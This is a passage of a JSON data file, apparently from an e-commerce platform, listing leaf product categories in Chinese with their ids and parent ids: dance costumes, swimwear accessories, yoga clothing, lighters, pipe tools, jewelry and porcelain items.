"id":30290,"name":"拉丁舞下装","parent_cid":24400,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30263,"name":"拉丁舞鞋","parent_cid":24400,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30314,"name":"拉丁舞演出服","parent_cid":24400,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30288,"name":"啦啦队彩绘","parent_cid":24398,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30287,"name":"啦啦队彩球","parent_cid":24398,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30262,"name":"啦啦队服","parent_cid":24398,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30286,"name":"啦啦队头饰","parent_cid":24398,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30294,"name":"摩登舞配饰","parent_cid":24401,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30292,"name":"摩登舞上装","parent_cid":24401,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30311,"name":"摩登舞套装(含演出服)","parent_cid":24401,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30293,"name":"摩登舞下装","parent_cid":24401,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30264,"name":"摩登舞鞋","parent_cid":24401,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30257,"name":"体操比赛服","parent_cid":24394,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30254,"name":"体操道具","parent_cid":24394,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30251,"name":"体操服","parent_cid":24394,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30252,"name":"体操鞋","parent_cid":24394,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30277,"name":"踢踏舞服","parent_cid":24411,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30308,"name":"踢踏舞配件","parent_cid":24411,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30278,"name":"踢踏舞鞋","parent_cid":24411,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30298,"name":"现代舞服装","parent_cid":24405,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30299,"name":"现代舞配件","parent_cid":24405,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30270,"name":"现代舞鞋","parent_cid":24405,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30265,"name":"新疆舞服","parent_cid":24402,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30295,"name":"新疆舞配饰","parent_cid":24402,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30266,"name":"新疆舞鞋","parent_cid":24402,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30259,"name":"秧歌服","parent_cid":24406,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30271,"name":"秧歌配饰","parent_cid":24406,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30260,"name":"秧歌鞋","parent_cid":24406,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30324,"name":"古典舞服","parent_cid":24414,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30326,"name":"古典舞配饰","parent_cid":24414,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30325,"name":"古典舞鞋","parent_cid":24414,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30142,"name":"鼻夹","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30184,"name":"比基尼头花/胸花","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30149,"name":"冲浪板","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30148,"name":"充气床","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30162,"name":"充气沙发","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30163,"name":"充气设备","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30175,"name":"充气水球/戏水球","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30159,"name":"打水板/浮板","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30140,"name":"耳塞","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30158,"name":"防雾剂/帖","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30150,"name":"护耳贴","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30151,"name":"护脐贴","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30141,"name":"脚蹼","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30165,"name":"沙滩外套","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30180,"name":"沙滩针织衫","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30164,"name":"手臂浮圈","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30137,"name":"手蹼","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30160,"name":"水温计/温度计","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30144,"name":"水下MP3","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30179,"name":"水中拉力带","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30139,"name":"泳镜","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30138,"name":"泳帽","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30166,"name":"泳衣胸垫","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30167,"name":"游泳浮标","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30143,"name":"浴巾/吸水巾","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30161,"name":"遮阳帽/沙滩帽","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30178,"name":"专用呼吸管","parent_cid":24252,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30172,"name":"瑜伽背心","parent_cid":24258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30171,"name":"瑜伽短裙","parent_cid":24258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30152,"name":"瑜伽裤","parent_cid":24258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30181,"name":"瑜伽连体衣","parent_cid":24258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30168,"name":"瑜伽内衣","parent_cid":24258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30170,"name":"瑜伽套装","parent_cid":24258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30145,"name":"瑜伽t恤","parent_cid":24258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30169,"name":"瑜伽外套","parent_cid":24258,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30364,"name":"穿线机及配件","parent_cid":24497,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30351,"name":"球鞋袋","parent_cid":24497,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30360,"name":"羽毛球挂件","parent_cid":24497,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30363,"name":"羽毛球网架/网柱","parent_cid":24497,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30352,"name":"羽拍袋","parent_cid":24497,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30359,"name":"羽拍护线管","parent_cid":24497,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30366,"name":"防滑粉","parent_cid":24499,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30173,"name":"裁判徽章","parent_cid":24264,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30183,"name":"裁判巡边旗","parent_cid":24264,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30155,"name":"红黄牌","parent_cid":24264,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30153,"name":"挑边器","parent_cid":24264,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30194,"name":"充气装备","parent_cid":24296,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30186,"name":"跳栏/跳格梯","parent_cid":24296,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30197,"name":"鞋子收纳袋","parent_cid":24296,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30185,"name":"袖标","parent_cid":24296,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30191,"name":"障碍物/标志物","parent_cid":24296,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30189,"name":"装备袋","parent_cid":24296,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30649,"name":"场地自行车","parent_cid":25862,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30650,"name":"宠物自行车","parent_cid":25862,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30648,"name":"电动车","parent_cid":25862,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30651,"name":"广告自行车","parent_cid":25862,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30654,"name":"速降自行车","parent_cid":25862,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30652,"name":"斜躺自行车","parent_cid":25862,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30653,"name":"越野公路车","parent_cid":25862,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29071,"name":"打火机用油","parent_cid":22287,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29068,"name":"火石","parent_cid":22287,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29070,"name":"礼盒","parent_cid":22287,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29066,"name":"棉芯","parent_cid":22287,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29069,"name":"皮套","parent_cid":22287,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29067,"name":"油壶","parent_cid":22287,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29062,"name":"防水万次火柴","parent_cid":22277,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29061,"name":"火柴","parent_cid":22277,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29063,"name":"充气打火机","parent_cid":22283,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29064,"name":"煤油打火机","parent_cid":22283,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29065,"name":"一次性打火机","parent_cid":22283,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29056,"name":"通条","parent_cid":22257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29060,"name":"压棒及相关工具","parent_cid":22257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29054,"name":"烟刀","parent_cid":22257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29055,"name":"烟斗","parent_cid":22257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29057,"name":"烟斗包","parent_cid":22257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29058,"name":"烟斗架","parent_cid":22257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29059,"name":"烟斗清洁用品","parent_cid":22257,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31914,"name":"扣","parent_cid":31907,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31913,"name":"链条","parent_cid":31907,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31912,"name":"绳","parent_cid":31907,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31911,"name":"弯管","parent_cid":31907,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31910,"name":"线","parent_cid":31907,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31909,"name":"针","parent_cid":31907,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31908,"name":"珠子","parent_cid":31907,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31905,"name":"耳钉","parent_cid":31901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31904,"name":"耳环","parent_cid":31901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31903,"name":"耳夹","parent_cid":31901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31902,"name":"耳线","parent_cid":31901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29377,"name":"摆件","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29359,"name":"杯","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29378,"name":"瓷片","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29364,"name":"碟","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29365,"name":"缸","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29366,"name":"罐","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29358,"name":"壶","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29360,"name":"炉","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29362,"name":"盘","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29361,"name":"瓶","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29363,"name":"碗","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29376,"name":"其他","parent_cid":23527,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29368,"name":"杯","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29373,"name":"碟","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29374,"name":"缸","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29375,"name":"罐","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29382,"name":"盒子","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29367,"name":"壶","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29369,"name":"炉","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29371,"name":"盘","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29370,"name":"瓶","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29381,"name":"瓦当","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29372,"name":"碗","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29380,"name":"其他","parent_cid":23528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29483,"name":"笔搁","parent_cid":23629,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29484,"name":"车挂","parent_cid":23629,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29480,"name":"发饰","parent_cid":23629,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29486,"name":"挂件/摆件/把件","parent_cid":23629,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29485,"name":"颈饰","parent_cid":23629,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29481,"name":"手饰","parent_cid":23629,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29488,"name":"珠宝半成品","parent_cid":23629,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29487,"name":"珠宝奇石","parent_cid":23629,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29479,"name":"其他","parent_cid":23629,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29473,"name":"笔搁","parent_cid":23628,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29474,"name":"车挂","parent_cid":23628,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29470,"name":"发饰","parent_cid":23628,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29476,"name":"挂件/摆件/把件","parent_cid":23628,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29475,"name":"颈饰","parent_cid":23628,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29471,"name":"手饰","parent_cid":23628,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29478,"name":"珠宝半成品","parent_cid":23628,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29477,"name":"珠宝奇石","parent_cid":23628,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29469,"name":"其他","parent_cid":23628,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30115,"name":"笔搁","parent_cid":23925,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30116,"name":"车挂","parent_cid":23925,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30112,"name":"发饰","parent_cid":23925,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30117,"name":"颈饰","parent_cid":23925,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30113,"name":"手饰","parent_cid":23925,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30122,"name":"珠宝半成品","parent_cid":23925,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30119,"name":"珠宝奇石","parent_cid":23925,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30111,"name":"其他","parent_cid":23925,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29949,"name":"笔搁","parent_cid":23894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29950,"name":"车挂","parent_cid":23894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29946,"name":"发饰","parent_cid":23894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29951,"name":"颈饰","parent_cid":23894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29947,"name":"手饰","parent_cid":23894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29957,"name":"珠宝半成品","parent_cid":23894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29954,"name":"珠宝奇石","parent_cid":23894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29945,"name":"其他","parent_cid":23894,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29969,"name":"笔搁","parent_cid":23901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29970,"name":"车挂","parent_cid":23901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29966,"name":"发饰","parent_cid":23901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29971,"name":"颈饰","parent_cid":23901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29967,"name":"手饰","parent_cid":23901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30067,"name":"珠宝半成品","parent_cid":23901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30052,"name":"珠宝奇石","parent_cid":23901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29965,"name":"其他","parent_cid":23901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30010,"name":"笔搁","parent_cid":23909,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30011,"name":"颈饰","parent_cid":23909,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30009,"name":"手饰","parent_cid":23909,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30074,"name":"珠宝半成品","parent_cid":23909,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30060,"name":"珠宝奇石","parent_cid":23909,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30008,"name":"其他","parent_cid":23909,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34175,"name":"笔搁","parent_cid":34051,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34176,"name":"车挂","parent_cid":34051,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34177,"name":"发饰","parent_cid":34051,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34178,"name":"颈饰","parent_cid":34051,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34179,"name":"手饰","parent_cid":34051,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34180,"name":"珠宝半成品","parent_cid":34051,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34181,"name":"珠宝奇石","parent_cid":34051,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30005,"name":"笔搁","parent_cid":23908,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30006,"name":"车挂","parent_cid":23908,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30002,"name":"发饰","parent_cid":23908,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30007,"name":"颈饰","parent_cid":23908,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30003,"name":"手饰","parent_cid":23908,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30073,"name":"珠宝半成品","parent_cid":23908,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30059,"name":"珠宝奇石","parent_cid":23908,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30001,"name":"其他","parent_cid":23908,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34168,"name":"笔搁","parent_cid":34050,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34169,"name":"车挂","parent_cid":34050,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34170,"name":"发饰","parent_cid":34050,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34171,"name":"颈饰","parent_cid":34050,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34611,"name":"手饰","parent_cid":34050,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34174,"name":"珠宝奇石","parent_cid":34050,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30048,"name":"笔搁","parent_cid":23916,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30049,"name":"车挂","parent_cid":23916,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30045,"name":"发饰","parent_cid":23916,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30050,"name":"颈饰","parent_cid":23916,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30046,"name":"手饰","parent_cid":23916,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30080,"name":"珠宝半成品","parent_cid":23916,